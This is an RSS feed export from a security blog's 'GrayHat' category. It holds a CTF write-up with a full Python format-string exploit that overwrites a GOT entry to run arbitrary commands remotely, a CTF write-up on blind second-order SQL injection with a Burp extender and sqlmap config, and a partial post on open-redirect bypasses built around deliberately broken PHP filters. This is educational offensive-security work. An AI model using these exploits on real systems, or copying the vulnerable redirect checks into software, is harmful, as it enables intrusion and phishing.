<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>WebstersProdigy &#187; GrayHat</title>
	<atom:link href="http://webstersprodigy.net/category/computers/grayhat/feed/" rel="self" type="application/rss+xml" />
	<link>http://webstersprodigy.net</link>
	<description>Updates every other Friday... usually</description>
	<lastBuildDate>Sat, 26 May 2012 06:58:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='webstersprodigy.net' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>WebstersProdigy &#187; GrayHat</title>
		<link>http://webstersprodigy.net</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://webstersprodigy.net/osd.xml" title="WebstersProdigy" />
	<atom:link rel='hub' href='http://webstersprodigy.net/?pushpress=hub'/>
		<item>
		<title>PPP pwnables 99</title>
		<link>http://webstersprodigy.net/2012/05/25/ppp-pwnables-99/</link>
		<comments>http://webstersprodigy.net/2012/05/25/ppp-pwnables-99/#comments</comments>
		<pubDate>Sat, 26 May 2012 06:37:07 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Bits and Bytes]]></category>
		<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[101]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[elf]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[format string]]></category>
		<category><![CDATA[ppp]]></category>
		<category><![CDATA[reverseme]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=1381</guid>
		<description><![CDATA[PPP rocks, and even though I spent the entire CTF time this year solving just two pwnables (this being one of them) I had a ton of fun. This is a tutorial on one of their challenges that took me way too long, and even then I needed a pointer (no pun intended ha ha). [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=1381&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://ppp.cylab.cmu.edu/wordpress/">PPP</a> rocks, and even though I spent the entire CTF time this year solving just two pwnables (this being one of them) I had a ton of fun. This is a tutorial on one of their challenges that took me way too long, and even then I needed a pointer (no pun intended ha ha). I&#8217;ve seen other solutions for this posted, but here&#8217;s yet another one. I know I&#8217;ve talked with some people who wouldn&#8217;t know where to start, so this is a basic tutorial for a relatively basic problem.</p>
<p>They give you a tar file (linked here as <a href="https://skydrive.live.com/redir?resid=19794FAC33285FD5!167">2012ppp_pwn99.tar</a>) and an endpoint.  I encourage you to give this a whirl. In the game you had to exploit this remotely on a machine you don&#8217;t have access to, which is actually the point where I got a bit stuck. So don&#8217;t cheat and put the shellcode in an environment variable or something.</p>
<h3>Solution Walkthrough</h3>
<p>The first step is to disassemble. There are several clear vulnerabilities in the main file. For example, there are at least three format strings in this block that looks something like:</p>
<p><pre class="brush: plain;">
.text:080489DA lea     edx, [esp+54h]
.text:080489DE mov     eax, [esp+50h]
.text:080489E2 mov     [esp+8], edx             ; format
.text:080489E6 mov     dword ptr [esp+4], 100h  ; char
.text:080489EE mov     [esp], eax               ; s
.text:080489F1 call    _sn_printf
</pre></p>
<p>esp+54h comes from the user (STDIN), and it&#8217;s the &#8216;username&#8217; you enter, so with this format string we should be good to go. There are plenty of references on how to exploit format strings online, so I won&#8217;t cover the gritty details here. But I will link to some of my favorite references.</p>
<ul>
<li><a href="http://www.cgsecurity.org/Articles/SecProg/Art4/">http://www.cgsecurity.org/Articles/SecProg/Art4</a></li>
<li><a href="https://net-ninja.net/article/2010/Oct/24/format-strings-from-x-to-calc/">https://net-ninja.net/article/2010/Oct/24/format-strings-from-x-to-calc/</a> (although it has a windows focus, and we have more available on Linux. Like the direct referencer ($) and a short word (%hn))</li>
</ul>
<p>To exploit, we would like to hit one of these format strings. Backtracing to see how this block is hit, you first need to &#8220;win&#8221;. So there are three pieces of user input it retrieves at the beginning.</p>
<ol>
<li>The password. This is just hard coded as 2ipzLTxTGOtJE0Um</li>
<li>The username. This has our format strings later on, but it doesn&#8217;t look like there&#8217;s any &#8220;winning&#8221; logic based on this</li>
<li>&#8220;Guess&#8221;</li>
</ol>
<p>&#8220;Guess&#8221; is kind of interesting. It calls time, then with that value it does a few arithmetic operations (imul, sar, sub) which ends up just dividing time by sixty. It uses this as an argument to srand, and then calls rand. So if you&#8217;re accurate within 60 seconds you&#8217;re close enough. You can get this close enough value with the following snippet, referencing glibc with ctypes:</p>
<p><pre class="brush: python;">
#get the correct guess
libc = cdll.LoadLibrary(&quot;libc.so.6&quot;)
a= libc.time(a)
seconds = a/60
libc.srand(seconds)
guess = libc.rand()
</pre></p>
<p>With the password and the guess, you&#8217;re set to reach the format string. Because the binary just goes to stdin and stdout, I tested this locally using netcat. One small trick here is to set ulimit to unlimited so when the program crashes you can examine the dump with &#8220;gdb ./problem core&#8221;:</p>
<p><pre class="brush: bash;">
ulimit -c unlimited
ncat --exec ./problem -l 56345
</pre></p>
<p>First thing I wrote sockets to interact with the binary. Once that was working I figured out the offset was 19 by just adding %08x %08x&#8230;. Then, the following was to overwrite the syslog got entry found in the binary. Because there&#8217;s a call later to syslog, we can overwrite that with arbitrary values.</p>
<p><pre class="brush: python;">
syslog_got = 0x8049e04
#eip b7fde30b
HOW = 0x4141
LOW = 0x4141
username = struct.pack(&quot;P&quot;, syslog_got +2) + struct.pack(&quot;P&quot;, syslog_got) + &quot;%.&quot; + str(HOW-8) +&quot;x%19$hn%.&quot; + str(LOW-HOW)+ &quot;x%20$hn&quot;
</pre></p>
<p>At this point we control eip. I actually got this far relatively quickly. But where do we put our shellcode? At the format string, there aren&#8217;t any registers pointing near buffers we control. Theoretically username is big enough to fit in some shellcode&#8230; so that&#8217;s a possibility. Fgets buffers input, so my initial strategy was to output a giant nop sled after the format string as a place for the shellcode. Because it&#8217;s a format string, you can search for memory&#8230; So I actually got this working so I was reliably able to exploit locally across reboots, but I could never get it to work on their remote server. They weren&#8217;t using ASLR, and I wrote a program to search memory using the format string to look for my nop sled, but I was never able to find the shellcode anywhere.</p>
<p>Anyway, this is where I got a good pointer in the right direction by someone much better than me on the team. What he discovered was you could use the libc they included to overwrite the call to free (which has our username) with system. It uses the username for a parameter also, and is called immediately after the format string. Here&#8217;s the call to free:</p>
<p><pre class="brush: plain;">
.text:08048A02 mov     eax, [esp+50h]
.text:08048A06 mov     [esp], eax      ; ptr
.text:08048A09 call    _free
</pre></p>
<p>So we could make our username something like &#8220;command to execute#%08x&#8230;&#8221;, so that the system call executes up to the comment, and after that is our format string. Our final username can contain the commands first, and then the format string.</p>
<p>The only missing piece was finding the system address. This is how I found it.</p>
<ol>
<li>the printf function has a got address of 0x08049e2c</li>
<li>Remember there&#8217;s no aslr or varying address. Using the read piece of the format string, you read the value at the got printf address- e.g. pass it to this function def read_format(location):</li>
<li>Look at the hex step 2 returns. In this case it was (in little endian) 0xf7ed64f0</li>
<li>They included a libc.so.6 file.  Looking at that system is at offset 0&#215;39450 and printf is at offset 0x474f0</li>
<li>So  hex (0xf7ed64f0 + (0&#215;39450- 0x474f0)) is &#8217;0xf7ec8450L&#8217;, the real address of system</li>
</ol>
<p>Knowing the real address of system, we can overwrite the got address for the free function. </p>
<p>The real final piece was making sure %hn was correct with the prepending commands, which changed the length of the string (and thus the values of %hn). To do this, I padded the commands to 28 characters, and took 28 from my %.&lt;number&gt; piece of the format string.  Anyway, here is my final exploit.</p>
<p><pre class="brush: python;">

from ctypes import *
import socket
import struct
import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument('cmd' )
parser.add_argument('--host', default='23.20.104.208')
parser.add_argument('--port', type=int, default=56345)
parser.add_argument('--vm', dest='host', const=&quot;192.168.153.143&quot;, action=&quot;store_const&quot;)
args = parser.parse_args()

#constants
syslog_got = 0x8049e04
free_got   = 0x8049e18
#system_address calculated from included libc.so offsets and read free value
system_address = 0xf7ec8450


def address_overwrite_format(owlocation, owvalue):
	HOW = owvalue &gt;&gt; 16
	LOW = owvalue &amp; 0xffff
	print hex(HOW)
	print hex(LOW)
	mformat = &quot;&quot;
	if LOW &gt; HOW:
		mformat = struct.pack(&quot;&lt;I&quot;, owlocation +2) + struct.pack(&quot;&lt;I&quot;, owlocation) + &quot;%.&quot; + str(HOW-8-28) +&quot;x%26$hn%.&quot; + str(LOW-HOW) + &quot;x%27$hn&quot; 
	else:
		print &quot;here&quot;
		mformat = struct.pack(&quot;&lt;I&quot;, owlocation +2) + struct.pack(&quot;&lt;I&quot;, owlocation) + &quot;%.&quot; + str(LOW-8-28) +&quot;x%27$hn%.&quot; + str(HOW-LOW) + &quot;x%26$hn&quot; 
	return mformat


def read_format(location):
	#%19 without padding
	mlocation = struct.pack(&quot;&lt;I&quot;, location) + &quot; ((((%19$08s))))&quot;
	return (mlocation )

def extract_hex(mstr):
	print mstr
	#must be in a format (((hex)))
	a = mstr.split(&quot;((((&quot;)[1].split(&quot;))))&quot;)[0]
	for ch in a:
		sys.stdout.write(hex(ord(ch))+ &quot; &quot;)
	print &quot;&quot;

def pwn(username, extrastuff = &quot;&quot;):
	#get the password (found from strings)
	passwd = &quot;2ipzLTxTGOtJE0Um&quot;
	#get the correct guess
	libc = cdll.LoadLibrary(&quot;libc.so.6&quot;)
	a = 0
	a= libc.time(a)
	seconds = a/60
	libc.srand(seconds)
	guess = libc.rand()
	#format string in the username

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(4)
	s.connect((args.host, args.port))
	print s.recv(1024)

	s.send(passwd + &quot;\n&quot;)

	print s.recv(1024)
	s.sendall(username + &quot;\n&quot;)
	print s.recv(1024)
	s.sendall(str(guess) + &quot;\n&quot; + extrastuff)
	retval = s.recv(1024)
	retval += s.recv(1024)
	s.close()
	return retval

def padcmd(cmd):
	#cmd must be exactly 28 bytes long
	if len(cmd) &gt; 27:
		print &quot;Error: cmd too long&quot;
		sys.exit(-1)
	cmd = cmd + &quot;#&quot; + &quot;A&quot; * (27- len(cmd))
	return cmd

#f = read_format(0x8049e30)
f = address_overwrite_format(free_got, system_address)
execcmd = padcmd(args.cmd)
a = pwn(execcmd + f)
print a
#extract_hex(a)
</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/1381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/1381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/1381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/1381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/1381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/1381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/1381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/1381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/1381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/1381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/1381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/1381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/1381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/1381/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=1381&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/05/25/ppp-pwnables-99/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Blind Second Order SQL Injection with Burp and SqlMap</title>
		<link>http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/</link>
		<comments>http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/#comments</comments>
		<pubDate>Fri, 30 Mar 2012 12:05:57 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[burp]]></category>
		<category><![CDATA[extender]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlmap]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=936</guid>
		<description><![CDATA[My favorite challenge on codegate this year was a second order SQL injection (yes, the ‘easy’ 100 level one). It wasn&#8217;t blind &#8211; that was even one of the hints early on. But I got to thinking about how I would exploit a blind second order SQL injection, and I decided to go that route. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=936&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>My favorite challenge on <a href="http://yut.codegate.org/">codegate</a> this year was a second order SQL injection (yes, the ‘easy’ 100 level one). It wasn&#8217;t blind &#8211; that was even one of the hints early on. But I got to thinking about how I would exploit a blind second order SQL injection, and I decided to go that route. It&#8217;s something I&#8217;d never done before, and I thought it was an interesting problem. (I go off on tangents a lot &#8211; acme is awesome for still letting me be a pretty much non-contributing member of their team).</p>
<p><strong>The Injection</strong></p>
<p>The scenario was an mp3 player application, and the goal was to get what the admin was listening to. The injectable query is here, in the genre parameter:</p>
<p><pre class="brush: plain;">
POST /mp3_world/index.php?page=upload HTTP/1.1
Host: 1.237.174.123:3333
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: 404

-----------------------------265001916915724
Content-Disposition: form-data; name=&quot;mp3&quot;; filename='badfi&quot;le.mp3'
Content-Type: text/plain

bad'&quot;
-----------------------------265001916915724
Content-Disposition: form-data; name=&quot;genre&quot;

if(1=1 ,1, 2)
-----------------------------265001916915724
Content-Disposition: form-data; name=&quot;title&quot;

9 95
-----------------------------265001916915724--

</pre></p>
<p>Notice the  if(1=1 ,1, 2). In a second response, it will show [hiphop] if the query evaluates to true, and something else if it’s not true.</p>
<p>So the right way to proceed is to see if you can get information into the data output (e.g. the non-blind route). But say this is all the information you had, an oracle on another page from the request; an injection in request 1 and an oracle in response 2. Obviously, this is still exploitable, but how?</p>
<p><strong>Extending Burp to Return the Oracle to an Injection Request</strong></p>
<p>So here’s the strategy:</p>
<ul>
<li>Do the injection request.</li>
<li>The response for the first request is meaningless – there’s no injection there. Throw it away and replace it with a response from a separate request that triggers the injection. Here, I just return TRUE if 1=1, False if not. Tools like sqlmap can work with this for blind sqli</li>
<li>Clean up; because the oracle is stored, we need to clean up old oracles that indicate whether the comparison was successful</li>
</ul>
<p>The following code does this:</p>
<p><pre class="brush: java;">
package burp;

import java.net.*;
import java.util.*;
import java.util.regex.*;
import java.io.*;

public class BurpExtender
{
    public IBurpExtenderCallbacks mCallbacks;

    //victimRequest is the value that triggers the alternate response
    public static String victimRequest = &quot;1.237.174.123&quot;;
    //replacementResponse replaces the response with this new one
    public static String replacementResponse = &quot;http://1.237.174.123:3333/mp3_world/?page=player&quot;;
    public static String injectionOracle = &quot;[hiphop]&quot;;
    public static String deleteOld = &quot;http://1.237.174.123:3333/mp3_world/?page=upload&amp;del=&quot;;

    public void processHttpMessage(String toolName, boolean messageIsRequest, IHttpRequestResponse messageInfo)
    {
        if (!messageIsRequest)
        {
            if (messageInfo.getHost().equals(victimRequest))
            {
                boolean respvalue = false;
                try {
                    //assume this is our sql injection response; make a second request to return
                    System.out.println(&quot;This request needs a modified response&quot;);
                    //make a request to the second order to see if True or False
                    //with this one, no need for cookies or anything - it's based on IP
                    URL sqlcheck = new URL(replacementResponse);
                    URLConnection sc = sqlcheck.openConnection();
                    BufferedReader in = new BufferedReader(new InputStreamReader(sc.getInputStream()));

                    String inputLine;
                    String delIndex = &quot;&quot;;
                    //if injectionOracle is in sqlcheck response, and the resp number in the title true. If not, false
                    while ((inputLine = in.readLine()) != null)
                    {
                        if (inputLine.contains(injectionOracle))
                            respvalue = true;
                        //grab all the indexes so we can delete them later = format &quot;idx=?&quot;
                        if (inputLine.contains(&quot;idx=&quot;))
                        {
                            int sindex = inputLine.indexOf(&quot;idx=&quot;);
                            int eindex = inputLine.indexOf(&quot;&quot;&quot;, sindex);
                            delIndex = inputLine.substring(sindex+4, eindex);
                        }
                    }
                    in.close();
                    String resp;
                    if (respvalue)
                        resp = &quot;True&quot;;
                    else
                        resp = &quot;False&quot;;
                    byte[] bResp = resp.getBytes();

                    messageInfo.setResponse(bResp);

                    //Clean up old songs
                    System.out.println(&quot;Deleting &quot; + delIndex);
                    String delstr = deleteOld + delIndex;
                    URL delRequest = new URL(delstr);
                    URLConnection deslc = delRequest.openConnection();
                    in = new BufferedReader(new InputStreamReader(deslc.getInputStream()));
                    in.close();

                }
                catch (java.io.IOException ex){
                    System.out.println(&quot;something's wrong&quot;);
                }
                catch (java.lang.Exception ex){
                    System.out.println(&quot;something else is wrong&quot;);
                }
            }
        }

    }

    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
    {
        mCallbacks = callbacks;
    }
}
</pre></p>
<p>To compile, it should look like this (the source file is BurpExtender.java). Here’s a command dump as a sanity check</p>
<p><pre class="brush: plain;">

PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injection

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         2/25/2012   5:00 PM            burp
-a---         2/25/2012   5:00 PM       6445 BurpExtender.java
-a---         2/25/2012   3:47 PM        571 requestfile.ini
-a---         2/25/2012   6:16 PM      17168 sqlmap.config

PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; javac .BurpExtender.java
Note: .BurpExtender.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; rm .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; mv .BurpExtender.class .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; jar -cf .burpextender.jar .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection&gt; cd .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp&gt; ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         2/25/2012   7:37 PM       4062 BurpExtender.class
-a---         2/24/2012  11:51 PM        345 burpextender.jar
-a---          6/3/2011   7:56 AM       7919 IBurpExtender.java
-a---         2/24/2012  11:19 PM       1587 IBurpExtenderCallbacks.class
-a---         2/24/2012  11:04 PM      13131 IBurpExtenderCallbacks.java
-a---         2/24/2012  11:19 PM        659 IHttpRequestResponse.class
-a---          6/3/2011   7:55 AM       4040 IHttpRequestResponse.java
-a---         2/24/2012  11:19 PM        196 IMenuItemHandler.class
-a---          6/3/2011   7:56 AM       1453 IMenuItemHandler.java
-a---         2/24/2012  11:19 PM        477 IScanIssue.class
-a---          6/3/2011   7:56 AM       2826 IScanIssue.java
-a---         2/24/2012  11:19 PM        347 IScanQueueItem.class
-a---          6/3/2011   7:56 AM       2309 IScanQueueItem.java

</pre></p>
<p>Then to run:</p>
<blockquote><p>java -Xmx512m -classpath burpextender.jar;burpsuite_pro_v1.4.05.jar burp.StartBurp</p></blockquote>
<p>With this, you can make requests with Burp and it returns True or False in the single response.</p>
<p><a href="http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/burp_truefalse-png/" rel="attachment wp-att-938"><img class="alignnone size-medium wp-image-938" title="burp_truefalse.png" src="http://webstersprodigy.files.wordpress.com/2012/02/burp_truefalse.png?w=500&h=395" alt="" width="500" height="395" /></a></p>
<p><strong>Fenangling sqlmap</strong></p>
<p>It took a little more work to get sqlmap working happily. One annoying thing is Burp’s proxy. It has a match and replace, but it doesn’t work well with multiple line things. Also, sqlmap doesn’t play well with multi-part forms.</p>
<p>I ended up using the extender more, and matching on words like how the match and replace in Burp’s proxy should work. This is a common trick, but it nearly doubled the code above to make everything happy (think multiple wrong content-lengths and url decodings and whatnot).</p>
<p>That said, the idea is straightforward. My base request looked something like this, and sqlmap was injecting into the &#8217;1&#8242;. By the way, the syntax is MySql.</p>
<blockquote><p>asdfghbleh=1&amp;aftercrap=crap</p></blockquote>
<p>Replace asdfghbleh= with “if (1=”</p>
<p>Replaces &amp;aftercrap=crap with “,1,2)”</p>
<p>So, for example, the base query has (in the genre param)</p>
<blockquote><p>if (1=1, 1, 2)</p></blockquote>
<p>Sqlmap is happy at this point, and you can run arbitrary queries. When running sqlmap, I generally like to use the config file. Here are some of the changes for the initial sql injection detection.</p>
<p><pre class="brush: plain;">

#Base request from repeater with tags
requestFile = requestfile.ini
proxy = http://localhost:8080
testParameter = asdfghbleh
dbms = mysql
tech = B

</pre></p>
<p>After a happy base run, I enumerated databases, tables, and columns just like usual. As expected, it took a while to actually get information out (on the order of a couple hours) but I still think this is pretty slick. If this were actually blind I imagine it would be rated harder than 100 level. Dumping everything at once is way more efficient and all, but every time sqlmap decodes an arbitrary character, all I see anymore is blonde, brunette, redhead&#8230;</p>
<p><a href="http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/image-png-2/" rel="attachment wp-att-940"><img class="alignnone size-medium wp-image-940" title="image.png" src="http://webstersprodigy.files.wordpress.com/2012/02/image1.png?w=500&h=397" alt="" width="500" height="397" /></a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/936/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/936/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/936/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=936&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/03/30/blind-second-order-sql-injection-with-burp-and-sqlmap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/burp_truefalse.png?w=500" medium="image">
			<media:title type="html">burp_truefalse.png</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/image1.png?w=500" medium="image">
			<media:title type="html">image.png</media:title>
		</media:content>
	</item>
		<item>
		<title>Some Interesting URI Parsing Quirks and Open Redirects</title>
		<link>http://webstersprodigy.net/2012/03/16/some-interesting-uri-parsing-quirks-and-open-redirects/</link>
		<comments>http://webstersprodigy.net/2012/03/16/some-interesting-uri-parsing-quirks-and-open-redirects/#comments</comments>
		<pubDate>Fri, 16 Mar 2012 21:36:50 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[owasp]]></category>
		<category><![CDATA[parsing]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[redirect]]></category>
		<category><![CDATA[uri]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=979</guid>
		<description><![CDATA[Parsing the &#8220;relativeness&#8221; of a URI seems to be a pretty browser specific thing, and doing some quick tests there are several quirks that might be useful/dangerous. The Tangled Web (which is an awesome book) aludes to some of these. Some URI Quirks Let&#8217;s look at some tests with the URIs grabbed from the location [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=979&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Parsing the &#8220;relativeness&#8221; of a URI seems to be a pretty browser specific thing, and doing some quick tests there are several quirks that might be useful/dangerous. The Tangled Web (which is an awesome book) aludes to some of these.</p>
<h3>Some URI Quirks</h3>
<p>Let&#8217;s look at some tests with the URIs grabbed from the location header. The browsers I&#8217;m testing right now are IE9, Chrome 17 something, and Firefox 11.</p>
<p>All browsers are happy with this, and go to google.com</p>
<blockquote><p>header(&#8220;Location: //google.com&#8221;);</p></blockquote>
<p>Both Firefox and chrome truncate extra slashes<br />
So</p>
<blockquote><p>header(&#8220;Location: <a href="http://google.com">http:///////////////////////google.com</a>&#8220;);</p></blockquote>
<p>is completely happy.</p>
<p>IE is interesting, as it will be equally happy with and /</p>
<blockquote><p>header(&#8220;Location: <a href="https://google.com/">https:\\google.com\</a>&#8220;); &lt;&#8211; this works</p></blockquote>
<p>The spacing doesn&#8217;t seem to matter, so all browsers are happy with:</p>
<blockquote><p>header(&#8220;Location:                        <a href="http://google.com">http://google.com</a>&#8220;);</p></blockquote>
<p>as well as</p>
<blockquote><p>header(&#8220;Location:http://google.com&#8221;);</p></blockquote>
<p>My favorite is this. In chrome and Firefox</p>
<blockquote><p>header(&#8220;Location: http:google.com&#8221;);</p></blockquote>
<p>will redirect to a relative URI, but for whatever reason</p>
<blockquote><p>header(&#8220;Location: <a href="https://google.com">https:google.com</a>&#8220;);</p></blockquote>
<p>will redirect to google.com. wtf?</p>
<h3>Same Domain Redirect</h3>
<p>These parsing quirks can be useful for several attacks, and the first thing that came to mind for me was open redirects.  It&#8217;s a pretty common scenario to want to allow sites  redirecting based on the parameter as long as it&#8217;s in the same domain. It can be expensive to whitelist every URI (which would be ideal), so although that&#8217;s a great solution, I also think allowing redirects to your own domain is sometimes better than nothing &#8230;despite there being some risks associated with it, like giving an attacker a way to bypass the IE8 XSS filter <a href="http://packetstorm.wowhacker.com/papers/general/msie-xssbypass.pdf">http://packetstorm.wowhacker.com/papers/general/msie-xssbypass.pdf</a>.</p>
<p>So, below are some (broken) examples of websites trying to accomplish this, allowing a redirect but only to their own site.</p>
<p><strong>Broken Example 1 &#8211; startswith /</strong></p>
<p>One naive way to try to perform arbitrary on-site local redirects would be something like the following, which takes the redir query parameter and make sure it starts with a slash:</p>
<p><pre class="brush: php;">
$redir = $_GET['redir'];
#if redir starts with /
if (strpos($redir, &quot;/&quot;, 0) === 0)
header(&quot;Location: &quot; . $redir);
</pre></p>
<p>Obviously, this can be bypassed in all browsers with //google.com</p>
<p><strong>Broken Example 2 - No Semicolons, Can&#8217;t start with /, and in fact, don&#8217;t start with // either</strong></p>
<p>This PHP tries to prevent off-site redirects with the following snippet</p>
<p><pre class="brush: php;">
$redir = $_GET['redir'];
#make sure redir doesn't have slashes, and doesn't have semicolons
if ((strpos($redir, &quot;/&quot;, 0) != 0) and (strpos($redir, &quot;/&quot;, 1) != 1) and (strpos($redir, &quot;:&quot;) === false))
{
header(&quot;Location: &quot; . $redir);
}
